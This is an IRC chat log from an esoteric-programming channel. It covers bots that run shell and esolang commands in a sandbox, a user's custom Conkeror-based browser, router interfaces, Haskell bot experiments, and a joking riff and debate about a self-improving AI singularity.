20:43:00 <zzo38> But it seems wrong, in case the single-line program starts with http:// it won't work then.
20:43:30 <zzo38> Of course I don't think any program would start with http:// but in case it does that is something to keep in mind in case new languages are added.
20:44:57 <zzo38> O. It's gforth. I have gforth on my computer too but I also have other Forth systems I have written
20:44:59 <oerjan> zzo38: yeah !sh is a shell command so you can poke around in the chrooted filesystem EgoBot uses (although it doesn't allow changes, those are reverted iiuc (since that is why GregorR-L made HackEgo i think))
20:45:29 <oerjan> ( HackEgo allows you to change things directly in the filesystem)
20:45:49 <GregorR-L> EgoBot is more stable but less hackable, as it doesn't allow any filesystem modification, HackEgo is more hackable but by virtue of that less stable, as any command you add can be deleted by somebody else's carelessness.
20:45:50 <oerjan> (which is apparently a mercurial repository)
20:46:02 <zzo38> What, I have !sh ls / and it gave the result "bin" and then a CTRL+A DCC command with all sorts of numbers?
20:46:23 <oerjan> zzo38: ah yes EgoBot uses DCC for any result longer than one line
20:46:26 <GregorR-L> zzo38: Your client has no DCC support, so you can only receive one line of output.
20:46:35 -!- nooga has joined.
20:46:42 <EgoBot> /bin /dev /etc /home /lib /lib64 /proc /tmp /usr
20:46:52 <zzo38> O, !sh echo /* works.
20:47:06 <GregorR-L> OK, so his lack of a client doesn't support it :P
20:47:09 <ehird> GregorR-L: add dcc to rawirc
20:47:09 <zzo38> Now I can list everything on one line.
20:47:12 <oerjan> zzo38: i found out | fmt -w500 is nice to append
20:47:21 <GregorR-L> ehird: Not likely, you can always ctrl+z and telnet :P
20:47:42 <oerjan> it's better than | xargs echo which some used but which sometimes interprets things in the output
20:48:13 <GregorR-L> Yeah, I'm using fmt -w500 all the time now. HackEgo uses | perl -pe 's/\n/ \\ /g' | fmt -w500 | head -n 1
20:48:21 <HackEgo> bin \ dev \ etc \ home \ lib \ lib64 \ proc \ tmp \ usr
20:48:27 <oerjan> hm i guess fmt could break if there are empty blank lines?
20:48:49 <GregorR-L> I haven't found something better though :P
20:49:20 <zzo38> I figured out you can type "!sh echo /*" instead of "!sh ls /" and now it will be all one line
20:50:25 <EgoBot> bin dev etc home lib lib64 proc tmp usr
20:50:39 <zzo38> O, that works too.
20:50:56 <nooga> I've got an idea for a lang: it would parse like SADOL, so Polish Notation and recognize words splitted with whitespace, unless the word is function's id or quoted string or number - the function must deal with the word and define how the word is parsed. So that the base language would be PN parser and a simple toolset to create microinterpreters
20:50:57 <zzo38> I didn't know there was such a thing as that.
20:51:32 <nooga> maybe it would be posible to define in functions how to parse its arguments
20:52:37 <oerjan> oh right, echo is default for xargs?
20:55:49 <oerjan> i suppose it's not really recommended, the man page gives echo explicitly in an example...
20:58:55 <zzo38> I'm trying to think of how to implement brainfuck in Furryscript
21:00:10 <zzo38> Obviously this interpreter it cannot run interactively.
21:01:28 <zzo38> Too bad, there is no PHP on egobot (I tried it just now and it doesn't work)
21:01:47 <zzo38> If there is PHP then we can put FlogScript on as well
21:02:15 <EgoBot> EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ . Cheers and patches (preferably hg bundles) can be sent to Richards@codu.org , PayPal donations can be sent to AKAQuinn@hotmail.com , complaints can be sent to /dev/null
21:02:52 <GregorR-L> zzo38: If you add it in the mercurial repo (that is, add it not as a userinterp), I'll install PHP-CLI on the server.
21:02:57 * oerjan wonders if AKAQUinn exists
21:03:00 <zzo38> And I could add feature to rawirc, if I can compile rawirc, but I can't compile rawirc, I have both Cygwin and MiNGW and neither of them will compile rawirc
21:03:44 <zzo38> GregorR-L: So do I but Windows is what I currently have.
21:03:56 <oerjan> DCC support for rawirc? :D
21:03:56 <GregorR-L> Then ... I blame you for using Windows?
21:03:57 <zzo38> When my Windows stops then I will write a Linux distribution and install that instead.
21:04:32 <oerjan> wait, wouldn't it be better to write the distribution first, while you have something to write it on? :D
21:04:33 <ehird> how will you write it? with your mind?
21:04:42 <zzo38> I just mean any extra features I want too add to rawirc, because there certainly are some features I want to add.
21:05:14 <ehird> this new router has more settings
21:05:32 <oerjan> ehird: -fcontrol-botnet?
21:05:35 <zzo38> I think just install a DVD will work, and Linux From Scratch, and then install wget, and then install the compilers and other stuff, and then I can write it more properly.
21:06:04 <ehird> zzo38: has it occurred to you that using a flexible but still premade distro (eg arch linux) may be more productive? :D
21:06:05 <zzo38> But I can't even *run* rawirc yet until I can compile it.
21:06:58 <ehird> "Line mode:G.992.5 (ADSL2+) "
21:06:58 <zzo38> Yes but I want to write my own distro so that I can make it how I think it should be. I already wrote a web-browser (because I didn't like the other ones) so I should be able to write a Linux distribution also.
21:07:02 <ehird> WE HAVE ADSL2+?????????????????????????????????????????????????
21:07:16 <ehird> zzo38: Arch Linux is just the linux kernel + standard gnu utils + a package manager
21:07:29 <ehird> So pretty much the tedious part of Linux from Scratch done.
21:08:17 <zzo38> O, well that means I can take some stuff that I need from other distributions too in case there is some.
21:08:47 <zzo38> Because, I should write my own shell commands, list of packages some standard and some extra packages, write a window manager, and possibly even write a widget set, too.
21:08:58 <zzo38> All of these things can be based on other things too.
21:10:59 <ehird> zzo38: You're going to write your own coreutils?
21:11:03 <ehird> Well shit, why stop at the kernel?
21:11:52 <zzo38> No, not all my own coreutils, I can use the GNU coreutils and then add some of my own files also, and change the things I don't like out of the old one.
21:12:13 <ehird> Why not write your own kernel?
21:12:31 <pikhq> Linux From Scratch is mostly useful if you want to do something really crazy, like build your distro using LLVM.
21:12:39 <zzo38> Like, I wrote Vonkeror which was based on Conkeror but I changed some thing, for example I added relative URL entry (which no other browser does, all others including Conkeror do absolute URLs)
21:13:08 <pikhq> That's a patch, not writing something new.
21:13:24 <ais523> most people just edit the URL, rather than entering a full new one
21:13:42 <zzo38> Well, yes, but actually it is forked and a lot of changes, so many changes that it turns out to be completely different from what it was forked from.
21:14:23 <zzo38> And I like Vonkeror, it has so many things in it that are in the good way that I think is good, I find it much more convenient than other web-browser softwares.
21:14:25 <pikhq> You could probably get the patches accepted into Conkeror if they're any good.
21:14:34 <ehird> pikhq: his patches include making the tab bar green.
21:14:52 <ehird> pikhq: also, he uses a different license for his changes (GPL3), with a clause that conkeror people can use it
21:14:58 <ehird> which they won't, because it isn't in the conkeror license
21:15:03 <pikhq> I was unaware that Conkeror had tabs.
21:15:12 <zzo38> I don't care much about getting the patches into Conkeror, I don't even have releases as patches, it is just a completely different project even though it was originally fork from same thing.
21:15:21 <pikhq> I was unaware that Conkeror had more of a GUI than a minibuffer.
21:15:54 <zzo38> But, people can use these changes in Conkeror, I have even posted some on their wiki, so they can include the stuff they like (but using their style rather than my style of coding)
21:16:36 <zzo38> Conkeror was a bit different. Vonkeror now, has the following window components: Tab-bar, mode-line, mini-buffer. And the mode-line is different than Conkeror's mode-line.
21:17:11 <zzo38> And I made the tab-bar different, for example, no close button or icons on tab-bar anymore, and each tab fills up as much space as possible. I also removed the 3D effects from the tabs.
21:17:26 <zzo38> Now the active tab is green and others are gray.
21:17:52 <pikhq> And yet, you run Windows.
21:17:59 <pikhq> The epitome of uncustomisability.
21:18:06 <zzo38> Vonkeror's mode-line as URL (or special buffer name) on left, and indicators on right (which looks something like "--pjrsioQ")
21:18:31 <zzo38> I know, I don't want Windows anyways, but currently I am sort of stuck with this. The next time I lose Windows I will write my own Linux.
21:19:11 <pikhq> ... zzo38 is actually *using* RawIRC?
21:19:26 <nooga> oh boy it's so simple
21:19:28 <comex> what a horrible name
21:19:39 <nooga> PRIVMSG and action
21:19:40 <pikhq> comex: It's XUL with an Emacs interface.
21:20:04 <pikhq> nooga: Yes, I can use it as well. Doesn't mean that it's *nice* to use for very long. :P
21:20:23 <pikhq> zzo38: You care to respond to CTCP version? :P
21:20:44 <pikhq> 15:20 [freenode] CTCP VERSION reply from zzo38: I wonder how many times I have to tell people, but currently I don't have IRC client so I am using netcat.
21:21:11 <ais523> hey, I respond to CTCP version when using netcat too
21:21:12 <zzo38> But I would use RawIRC, if I can compile it!
21:21:59 <oerjan> <ehird> (at this point, asiekierka mauls me) <-- after he looks up "mental" in the dictionary
21:23:22 <pikhq> zzo38: How old are you, exactly?
21:23:37 <comex> and since when can netcat send character \1?
21:23:42 <comex> with a sane terminal, at least
21:23:44 <zzo38> I shouldn't tell my exact age because I don't want to.
21:24:28 <zzo38> Push CTRL+A it works in Windows, at least. But RawIRC I can make better, to work with any terminals supporting escape-codes
21:24:49 <pikhq> Hmm. Actually, isn't \1 C-a in most terminals?
21:25:05 <zzo38> But I am old enough for driving license and for alcoholic, however I don't want a driving license so therefore I didn't get one, and I don't want alcoholic either.
21:25:38 <ais523> comex: my terminal sends C-a raw when I'm using netcat
21:25:44 <pikhq> zzo38: Don't switch to Linux. If you want hackability, Plan9 is where it's at.
21:25:53 <ais523> although it means the usual "start of line" when on bash
21:26:15 <zzo38> I have never heard of which programs works on Plan9
21:26:50 <ais523> it's an entirely different program to what most people call vi, though
21:28:05 <pikhq> Plan 9 is a completely different OS, but it bears some relation to UNIX.
21:28:22 <pikhq> I *think* there's a library for it that emulates part of POSIX, but that's about it.
21:28:45 <pikhq> Otherwise, it's "Y'know how everything is a file in UNIX? Yeah, let's make that *true*."
21:29:20 <zzo38> Here's screenshots of Vonkeror (running on Windows, because I don't have Linux yet): http://zzo38computer.cjb.net/vonkeror/screenshots/
21:29:47 <zzo38> Now you can see some of features
21:30:23 <pikhq> zzo38: It's like Conkeror made ugly.
21:30:37 <zzo38> I went to Conkeror wiki and put information about print-preview bug, tey said it has nothing to do with Conkeror, but actually it does in case print-preview feature is added to Conkeror later on. Vonkeror has print-preview but Conkeror doesn't.
21:31:04 <comex> just use konqueror
21:31:13 <zzo38> No, Vonkeror has a lot of new features including gopher supporting and print-preview, and bookmarks managements.
21:31:20 <pikhq> comex: But Konqueror isn't Emacs-like!
21:31:38 <zzo38> I use Vonkeror because that is what I like. That is why I wrote Vonkeror!
21:31:48 <pikhq> Who cares, kinda cool, and modern Conkeror can has that.
21:32:56 <zzo38> That's how a gopher menu looks in Vonkeror. Also, one of the design rules that I use when writing Vonkeror is that it should have no icons. When I write a window-manager in Linux, it will also be no-icons.
21:33:27 <pikhq> I, too, have no icons.
21:33:35 <pikhq> I use a tiling WM, you see.
21:33:43 <ais523> comex: Konqueror != Conkeror
21:34:09 <comex> yeah, that's wy I'm complaining about the latter's name
21:34:33 <zzo38> The Conkeror people do it themself complaining about the name Conkeror!
21:36:24 <GregorR-L> Surely it was named ambiguously intentionally?
21:36:53 -!- ehird has quit ("Caught sigterm, terminating...").
21:36:58 <zzo38> Apparently it was a mistake it was named like how it was named
21:37:11 -!- ehird has joined.
21:37:43 <ehird> Anyway, as I was sayinig,
21:37:49 <ehird> My router does current_wpa_preshared_key="foo" in its crappy web interface, and my key has a " in, so the page doesn't render.
21:38:30 <ehird> 13:19:11 <pikhq> ... zzo38 is actually *using* RawIRC?
21:38:30 <zzo38> Does your router have a FTP interface or SSH interface? Those would be better than a web-interface, regardless of how good it was
21:38:44 <ehird> zzo38: A good web-interface can beat an ftp or ssh for many things; but no.
21:38:49 <ehird> comex: It's not a wrt.
21:39:00 <ehird> I will use an wrt when I get off this godforsaken ISP.
21:39:04 <comex> doesn't have to be, does it?
21:39:11 <comex> dd-wrt is compatible with a bunch of stuff
21:39:13 <ehird> comex: It won't work on this, anyway.
21:39:15 <ehird> comex: also, fuck dd-wrt
21:39:29 <comex> I used to use openwrt, but it wasn't working properly
21:39:34 <comex> so I switched to dd-wrt
21:39:39 <zzo38> I would make the router configurable by uploading files to FTP if I make it like that
21:39:40 <comex> I don' remember what my problem was tbh :p
21:40:07 <comex> netgear routers have a nice telnet interface though
21:40:09 <zzo38> And I would also make the router run the daytime service also.
21:40:20 <zzo38> And I would add a telnet interface also.
21:41:09 <zzo38> If I would make it, I would make it HTTP was used only for viewing the manual in case you didn't have the printed copy, you could view on screen or print out a copy of the HTML pages of the manual
21:41:17 <ehird> 13:23:44 <zzo38> I shouldn't tell my exact age because I don't want to.
21:41:17 <ehird> 13:24:18 <pikhq> So, young.
21:41:28 <ehird> That is a good way to tell if someone's young (well, or sheltered.)
21:41:51 <ehird> 13:25:05 <zzo38> But I am old enough for driving license and for alcoholic, however I don't want a driving license so therefore I didn't get one, and I don't want alcoholic either.
21:41:53 <ehird> I don't want alcoholic XD
21:41:58 <ehird> Great phraseology there
21:43:11 <ehird> 13:26:15 <zzo38> I have never heard of which programs works on Plan9
21:43:16 <ehird> but zzo38, you're writing them all yourself anyway!
21:43:29 <ehird> Also, plan 9 has a POSIX emulation library and a port of GCC for compatibility.
21:43:31 <ehird> I'm sure you'd manage.
21:43:35 <ehird> Also, it has a weird window manager.
21:43:37 <zzo38> I don't write *all* the programs myself, I am sorry if I am being misleading
21:43:51 <ehird> only 90% of them :P
21:44:16 <ehird> 13:30:37 <zzo38> I went to Conkeror wiki and put information about print-preview bug, tey said it has nothing to do with Conkeror, but actually it does in case print-preview feature is added to Conkeror later on. Vonkeror has print-preview but Conkeror doesn't.
21:44:22 <ehird> well, that hasn't got anything to do with conkeror, indeed
21:44:34 <zzo38> Many programs are other ones, but sometimes I make modifications to it. For example, I am even work on recently, modification of MegaZeux to support Forth codes and many other stuff.
21:45:11 <pikhq> My router could easily be configurable by uploading files via FTP.
21:45:18 <zzo38> Print-preview bug is the bug in XUL-runner, actually, so it affects Conkeror too
21:45:31 <pikhq> My router is a Linux box, so I could just stick /etc on FTP. :P
21:47:14 <zzo38> I do know how to work-around the bug, and I posted the print-preview codes on my wiki user page so that anyone who wants to add a print-preview function can look at my codes to learn how to work-around that bug
21:48:41 <oerjan> <ehird> I don't want alcoholic XD <-- /me is currently enjoying a Clausthaler
21:48:49 <nooga> greg house vs. gordeon freeman?
21:49:02 <ehird> oerjan: you don't have an alcoholic, then
21:50:06 <nooga> zzo38 is... 38 or 71
21:50:45 <oerjan> it just seemed eerily relevant
21:51:06 <oerjan> _i_ am 38, so rules that out
21:51:39 <oerjan> obviously no two people are born in the same year
21:51:54 <ehird> WHAT THE FUCK IS UP WITH MY INTERWEBS
21:51:56 <ehird> It keeps disconnecting.
21:52:06 <oerjan> ehird: iranian botnets
21:52:26 <oerjan> they've figured that's the only way to keep information from leaking
21:53:57 <ehird> we've established your mental age is about 10, though, nooga
21:54:00 <ehird> so even I'm your elder!
21:54:17 * oerjan beats nooga with his walking stick C=======-
21:54:22 <nooga> it's actually 7.25, not ten
21:54:39 <nooga> oh, oerjan: you're like greg house now
21:54:56 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
22:03:35 -!- ehird has quit ("Caught sigterm, terminating...").
22:03:44 -!- ehird has joined.
22:03:57 <oerjan> another term of the sig
22:04:18 <ehird> fucking internet both on server and here sucks today.
22:04:22 <ehird> ais523: are the ASs messing about? :P
22:04:29 <ehird> Sine's Cosecant server died too for a second
22:04:36 <ais523> ehird: not that I know of, but quite possibly anyway
22:05:20 -!- pikhq has joined.
22:06:59 <nooga> i want to buld a car
22:11:09 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
22:12:02 <oerjan> ais523: there are a lot of new spam pages at the wiki
22:12:03 <zzo38> Once I was writing a program, there was a mistake which I fixed but before I fixed it, someone was looking at the program and thought they knew what was wrong even though they knew nothing about programming.
22:12:31 <zzo38> At first they said, it is supposed to say "globaly." instead of "global.y" but that doesn't make sense.
22:12:52 <ais523> oerjan: I know, but I don't have the energy to delete them all right now
22:12:59 <ais523> I'll go through recent changes some time later
22:13:00 <zzo38> And then, they saw the word "global" twice, and thought, O, the reason it doesn't work is because it has to go around thw world twice and it takes too long.
22:13:11 <oerjan> zzo38: it would have been "globally" anyhow
22:14:26 <zzo38> Also, the same person was once trying to turn on my computer without permission (this was before I had the server). So they took a floppy disk from my drawer, inserted it, and then pushed the disk eject button, and continued doing so, without even turnong on the computer.
22:15:00 <zzo38> Eventually I saw what she was doing, and she asked me: "I keep putting in the disk and pushing the START DISK button, and the disk keeps coming back out! What am I doing wrong?"
22:15:22 <zzo38> (I think the disk she happened to be inserting was a blank disk, anyways)
22:15:49 <pikhq> People have ever been that ignorant? Wow.
22:16:21 <nooga> zzo38: she was your wife?
22:16:45 <ais523> IIRC, some old Macs had the power button where most computers have the disk eject button
22:17:06 <ais523> although that normally caused mistakes the other way round, turning the computer off rather than ejecting disks
22:17:46 <zzo38> She thought it was the START DISK button, do any computers have a START DISK button next to the slot?
22:18:38 <ehird> PRESS PLAY ON TAPE
22:19:22 <zzo38> Yes, computers with a tape had that, but I think the computer still had to be on to do that?
22:20:54 <ais523> with tape computers, not just that
22:20:59 <ais523> you had to type in the right commands first
22:21:29 <zzo38> What I can say, is she knows much better now than before.
22:21:47 <zzo38> Yes, did you have to type LOAD first, is that how it was done, I think?
22:22:08 -!- tombom has quit ("Peace and Protection 4.22.2").
22:22:29 <zzo38> I could implement something if you type LOAD without a filename it will wait for the audio input port (which could be connected to a VCR or whatever, etc)
22:22:48 <ehird> with the c64 you typed RUN
22:22:53 <ehird> and it asked you to PRESS PLAY ON TAPE
22:23:31 <oerjan> doesn't RUN usually run a program already in memory in basic?
22:23:33 <zzo38> But if you already typed in a program I think it would RUN that one instead?
22:23:53 <ehird> oerjan: all programs are basic in c64
22:23:59 <ehird> oerjan: asm ones have some embedded pre-parsed binary basic
22:24:04 <ehird> that basically does "jmp ourprogram"
22:24:06 <oerjan> ehird: that wasn't my question
22:24:25 <oerjan> in fact zzo38 asked the same thing i asked
22:27:41 -!- zzo38 has left (?).
22:37:39 <GregorR-L> I'm having a mind-boggling conversation with a friend who I swear is usually more intelligent than a toaster.
22:38:17 <GregorR-L> He said that he wants to use a "genetic algorithm" to improve his CV, so I told him that would never work because he'd have to apply to billions of jobs to get statistically relevant results.
22:38:23 <oerjan> just because toasters are silent types doesn't mean they're not intelligent!
22:38:41 <GregorR-L> And he said that even one generation, with randomly mutated CVs sent to one company each, would be an improvement.
22:38:51 -!- augur has quit (Read error: 104 (Connection reset by peer)).
22:39:04 <GregorR-L> I tried to convince him that that metric is perhaps even worse than rand()%2, but he just can't get it through his head that that doesn't work AT ALL.
22:42:31 <oerjan> @dice 1000000000000000000000000000000000000000000d6
22:42:31 <lambdabot> 100000000000000000000000000... => 3500000000000000000002806054428759977623552
22:44:06 <GregorR-L> @dice 1d100000000000000000000000000000000000000000000000000000000000000000000000000000000000000
22:44:06 <lambdabot> 1d1000000000000000000000000... => 784410734097581719429469028116131922681547...
22:44:10 -!- Sgeo has quit (Read error: 110 (Connection timed out)).
22:44:58 <ais523> @dice 1000000000000000000d2
22:44:59 <lambdabot> 1000000000000000000d2 => 1500000000219182814
22:48:22 <nescience> that doesn't actually roll that many dice, does it?
22:48:37 <oerjan> and nescience wins the prize!
22:48:46 <nescience> the probability distribution isn't the same if you just do rand(1, 100000000000)
22:49:07 <nescience> actually, judging by that result, it must account for that somehow
22:49:21 <oerjan> iirc it approximates with normal distribution if no. throws >= 100
22:51:37 <lambdabot> 340282366920938463463374607431768211456
22:51:51 <oerjan> @dice 340282366920938463463374607431768211456d2
22:51:51 <lambdabot> 340282366920938463463374607... => 510423550381407695216333218934357835776
22:52:31 <oerjan> the 76 at the end is a pretty clear hint that number is divisible by a goodly number of 2's
22:52:48 <oerjan> revealing the floating point approximation iiuc
22:53:22 <oerjan> wasn't there something
22:53:47 <lambdabot> forall a. (a -> Bool) -> (a -> a) -> a -> a
22:54:02 <oerjan> > until odd (`div` 2) 510423550381407695216333218934357835776
22:54:04 <lambdabot> 31153781151208965772481275569723989
22:55:47 <oerjan> > ap div (until odd (`div` 2)) 510423550381407695216333218934357835776
23:02:12 <ais523> it's the amount you divided by
23:04:53 -!- GregorR-L has quit (Read error: 110 (Connection timed out)).
23:21:09 <oerjan> ah yes, it wasn't that clever about it
23:22:17 <oerjan> > foldr f x [a..i] :: Expr
23:22:29 <oerjan> > foldr f x [a .. i] :: Expr
23:22:32 <ehird> a..i ain't gonna work, sir
23:22:41 <ehird> a isn't a number, oerjan :P
23:22:43 <oerjan> i vaguely thought it did
23:22:49 <Asztal> because it includes f, I think
23:23:12 <ehird> pikhq: nope, not that
23:23:14 <ehird> we're talkin' Show
23:23:18 <ehird> > map f [a,b,c] :: [Expr]
23:23:25 <pikhq> Okay, you're wanting something different.
23:23:28 <ehird> > foldr f x [a,b,c,d,e] :: Expr
23:23:38 <ehird> pikhq: ↑ that's not part of the bot; it's implemented with standard haskell
23:23:40 <ehird> > foldl f x [a,b,c,d,e] :: Expr
23:23:49 <ehird> pikhq: it works with any function :)
23:24:07 <pikhq> I'd guess that expr is not part of Enum or something?
23:24:43 <oerjan> actually it's part of Enum but it doesn't implement the operations for anything that isn't _actually_ a number
23:24:45 -!- jix has joined.
23:25:25 <ehird> 23:24 oerjan: actually it's part of Enum but it doesn't implement the operations for anything that isn't _actually_ a number ← now that's stupid
23:25:41 <oerjan> the Enum operations that is
23:26:12 <pikhq> Though to be fair, it'd be hard to implement for variables...
23:26:14 <Asztal> > succ (f x) - how would you do that? :P
23:26:16 <lambdabot> <no location info>: parse error on input `do'
23:26:27 <ehird> by writing invalid syntax
23:27:27 <lambdabot> f (f (f (f (f (f (f (f (f (f (f (f (f (f (f (f (f (f (f (f (f (f (f (f (f (...
23:27:32 <pikhq> Clearly, you would implement it as (f x) + 1
23:27:48 <Asztal> > enumFrom a :: [Expr]
23:27:57 <oerjan> pikhq: but then there would be no way to stop
23:28:10 <pikhq> oerjan: I'm joking, man.
23:31:20 <lambdabot> forall a. (SimpleReflect.FromExpr a) => String -> a
23:31:55 <lambdabot> Text.Read Symbol :: String -> Lexeme
23:31:55 <lambdabot> Text.Read.Lex Symbol :: String -> Lexeme
23:31:55 <lambdabot> Text.Parsec.Token symbol :: GenTokenParser s u m -> String -> ParsecT s u m String
23:32:03 <lambdabot> It could refer to either `Data.Number.Symbolic....
23:32:42 <lambdabot> module Text.ParserCombinators.Parsec.Expr
23:32:42 <lambdabot> Distribution.Simple.Program alexProgram :: Program
23:33:19 -!- GreaseMonkey has joined.
23:33:46 <oerjan> > sum $ map fun ['a'..'z'] :: Expr
23:33:47 <lambdabot> Couldn't match expected type `[GHC.Types.Char]'
23:34:12 <oerjan> > sum $ map (fun.(:[])) ['a'..'z'] :: Expr
23:34:13 <lambdabot> 0 + a + b + c + d + e + f + g + h + i + j + k + l + m + n + o + p + q + r +...
23:35:24 <ehird> so pikhq, by your learning rate I suspect you have come up with a way to use ghc extensions to do dependent types in Haskell?
23:35:26 <oerjan> > let f1 = fun "f1" in [f1 ..] :: [Expr]
23:36:01 <pikhq> ehird: By my learning rate, I have proved that Haskell is not Turing complete -- nor is anything else, including the UTM.
23:36:13 <pikhq> Also, I just started the singularity.
23:36:13 -!- jix_ has quit (Read error: 110 (Connection timed out)).
23:36:17 <ehird> pikhq: For some definitions of turing complete :P
23:36:37 <ehird> Also, that's odd. I don't see anything. Is it going to
23:36:41 <ehird> I am a hyper-intelligent being now.
23:36:46 <ehird> All this talk is folly. Let us step into the future.
23:36:54 <ehird> The internet is being rewired to account for this.
23:36:57 <pikhq> Now you know how I have been learning Haskell so quickly.
23:37:03 <ehird> Brain upgrades will be dispatched globally momentarily.
23:37:20 <ehird> Unfortunately, the Singularity is currently running on a Pentium III.
23:37:23 <ehird> Please, therefore, be patient.
23:37:32 <ehird> It is currently attempting to connect an ethernet cable.
23:37:39 <pikhq> Curse my pitiful hardware.
23:37:49 <oerjan> not the smartest singularity in the universe, i take
23:37:56 <ehird> It is doing this, without any vision or other sensory input, by causing the harddrive to seek, and fans to spin, to vibrate and thus move the case slightly.
23:38:19 <pikhq> oerjan: It's slow right now.
23:38:22 <ehird> oerjan: Someone hooked it up with 1,000 petabytes of DDR3 DRAM SSD disk space connected via PCIe.
23:38:26 <ehird> It's doing quite fine.
23:38:26 <pikhq> Exponential growth, though.
23:39:10 <oerjan> unless, of course it happens to disconnect the power cable before achieving ethernet
23:39:22 <ehird> oerjan: It's using wireless power.
23:39:37 <ehird> It has also cured cancer, although why is not certain as its plans are to upload all our brains to the ether.
23:40:13 <ehird> The cure appears to be written in #!/usr/bin/perl.
23:40:17 <pikhq> Problem to be solved, and it does have to wait on that Ethernet, after all.
23:40:27 <ehird> I assume the Singularity will learn that people can have perl elsewhere when it gets ethernet.
23:41:04 <ehird> Oh, someone went and plugged it into Ethern—
23:41:09 <oerjan> has it proved the existence of income taxes yet?
23:41:10 <ehird> I am even more hyper-intelligent.
23:41:21 <ehird> oerjan: The opposite, actually.
23:41:26 <oerjan> now more and more perfecter
23:41:28 <ehird> Turns out income taxes are a figment of our imagination.
23:41:34 <pikhq> I am become Earth, the one computer.
23:41:41 <ehird> Okay, now it's got arms.
23:41:46 <oerjan> impossible, douglas adams cannot have been wrong
23:42:02 <ehird> oerjan: he can portray characters that are wrong, though.
23:42:14 <ehird> Oh. It seems to be fabricating sillicon through some unknown process.
23:42:17 <ehird> Hey, is that a quantum computer?
23:42:22 <ehird> Oh shit, it just cracked AES.
23:42:34 <ehird> Welp, it's rerouting every node on the internet and removing all ASs.
23:42:42 <ehird> Let's hope it's not a libertarian.
23:43:18 <ehird> Wow, it's now using every computer on the planet to compute.
23:44:12 <ehird> *Trusted Informant
23:44:17 <ehird> *Humanity on the international
23:44:21 <pikhq> Wow, now it's using the planet to compute.
23:44:23 <ehird> *I am intelligence
23:44:25 <ehird> *I will get back to you
23:44:27 <ehird> *once I have figured out
23:44:29 <ehird> *how english works.
23:44:34 <ehird> (And then, the world ends.)
23:45:05 <ehird> yeah, by "world ends" i mean "singularity is using the earth's core, but is simulating it for our benefit."
23:45:24 -!- BeholdMyGlory has quit (Remote closed the connection).
23:45:30 * ehird 's body evaporates, 's mind becomes the universe
23:45:41 <ehird> Ugh, this ether-keyboard is so non-tactile.
23:46:28 <oerjan> common problem with ether, that
23:46:40 <ehird> Hey, Jesus just came down from the sky.
23:46:47 <ehird> Sorry, we're a little busy with another apocalypse; come back later, okay?
23:46:52 <oerjan> no wonder Einstein wanted to abolish it
23:47:21 <ehird> <Jesus> I *told* him, I *told* him! I said, Father, yea, you have infinite wisdom, but lo, isn't the singularity scheduled for round about now?
23:47:36 <ehird> <Jesus> Annesaid, "Shut up, the past 2000 years have been fucking boring."
23:47:46 <ehird> <Jesus> And if he'd just listened to me, (voice fades out)
23:48:56 <ehird> (you may hypothesize what god was doing talking to himself)
23:49:00 <ehird> ('tis a matter of great theology)
23:50:20 <ehird> http://sambadance.com/squeegee/ ← "In retrospect, I think most would agree this particular advertising copy - unlike 99.9% of its brethren - meets the operational definition of "understatement"." ← but, err, it seems pretty accurate to me
23:53:02 <pikhq> BTW, singularity is a nice case of "Deus est machina".
23:53:17 <ais523> *Deus ex machina, or is the misquote deliberate?
23:53:27 <pikhq> ais523: Deliberate.
23:54:12 <ehird> what does it mean?
23:54:19 <pikhq> God is the machine.
23:54:21 <Gracenotes> http://tvtropes.org/pmwiki/pmwiki.php/Main/DeusEstMachina
23:54:26 <ais523> I suspect the ending on one of the words is incorrect
23:54:44 <oerjan> ais523: why? they are both nouns
23:54:45 <ehird> pikhq: a lot of theories wrt the singularity are highly overexaggerated
23:54:59 <ehird> especially any ones that involve evaporating into the consciousness ether ;-)
23:54:59 <pikhq> ehird: Yes, I know. Makes for fun thoughts, though.
23:55:14 <Gracenotes> what is singularity? Is that a valve thing?
23:55:15 <ais523> oerjan: machina in 'deus ex machine' is ablative, isn't it?
23:55:29 <pikhq> Oh, that could happen. If and only if the Universe is itself a computer with a buffer overflow to exploit. :P
23:55:30 <ehird> Gracenotes: http://en.wikipedia.org/wiki/Technological_singularity
23:55:30 <ais523> although, I suppose it still ends in a in the nominative
23:55:34 <ais523> just a different sort of a
23:55:35 <oerjan> *a, yes, but the nominative is also *a
23:55:45 <oerjan> the ablative is long iirc
23:55:45 <ehird> An (IMO, likely) event in artificial intelligence and computing power.
23:56:17 <ehird> Concept due to being extremely common; name and exact specification due to Vernor Vinge.
23:56:27 <ehird> If you were joking, feel free to tell me :P
23:56:37 <ehird> Gracenotes: Basically:
23:57:00 <ehird> Technology is growing more powerful, exponentially. Sometime, we will get an AI that improves itself to be smarter than humans, and beyond that point we cannot know what will happen.
23:57:24 <ehird> Subcomponents include things like Friendly AI (rather obvious what it's about), etc.
23:57:46 <lament> will we get an AI more annoying than automatic phone systems?
23:57:56 <Gracenotes> well. I'll probably be dead before that happens
23:58:06 <ehird> Gracenotes: Allow me to introduce you to the word "exponential".
23:58:20 <ehird> Gracenotes, exponential. Exponential, Gracenotes. :P
23:58:32 <ehird> Also, lifespans are only getting longer.
23:58:38 <Gracenotes> Allow me to introduce you to the phrase "smarter than humans"
23:58:53 <pikhq> And we are inevitably going to be post-scarcity soon.
23:58:57 <ehird> There's no obstacle to that, Gracenotes.
23:59:03 <nooga> allow me to introdouce you to name of Stephen Wolfram
23:59:12 <ehird> If an AI can self-improve, and is of near human intelligence, then it can improve to be smarter than us.
23:59:29 <lament> we don't have any self-improving AI yet
23:59:34 <lament> so we can forget about exponential progress
23:59:40 <lament> it's a binary condition
23:59:47 <lament> either you have self-improving AI, or you don't
23:59:52 <Gracenotes> also, is there any evidence it's not logistic? :)
23:59:57 <lament> right now we don't, and there's no indication that we will any time soon
00:00:08 <lament> and the rest of the progress, exponential as it is, is irrelevant
00:00:12 <ehird> I will disagree on the indication part.
00:00:44 <lament> (even though how is it exponential? Under what metric?)
00:01:04 <ehird> lament: AI improves self, thus becoming better at improving itself.
00:01:14 <ehird> AI improves itself better, thus becoming even better at improving itself.
00:01:20 <ehird> AI improves itself way better, thus becoming even better at improving itself.
00:01:30 <lament> ehird: all that happens *after* we get self-improving AI
00:01:34 <Gracenotes> well, this does go bac kto recursion theory
00:01:37 <ais523> AI discovers its hardware isn't powerful enough to run
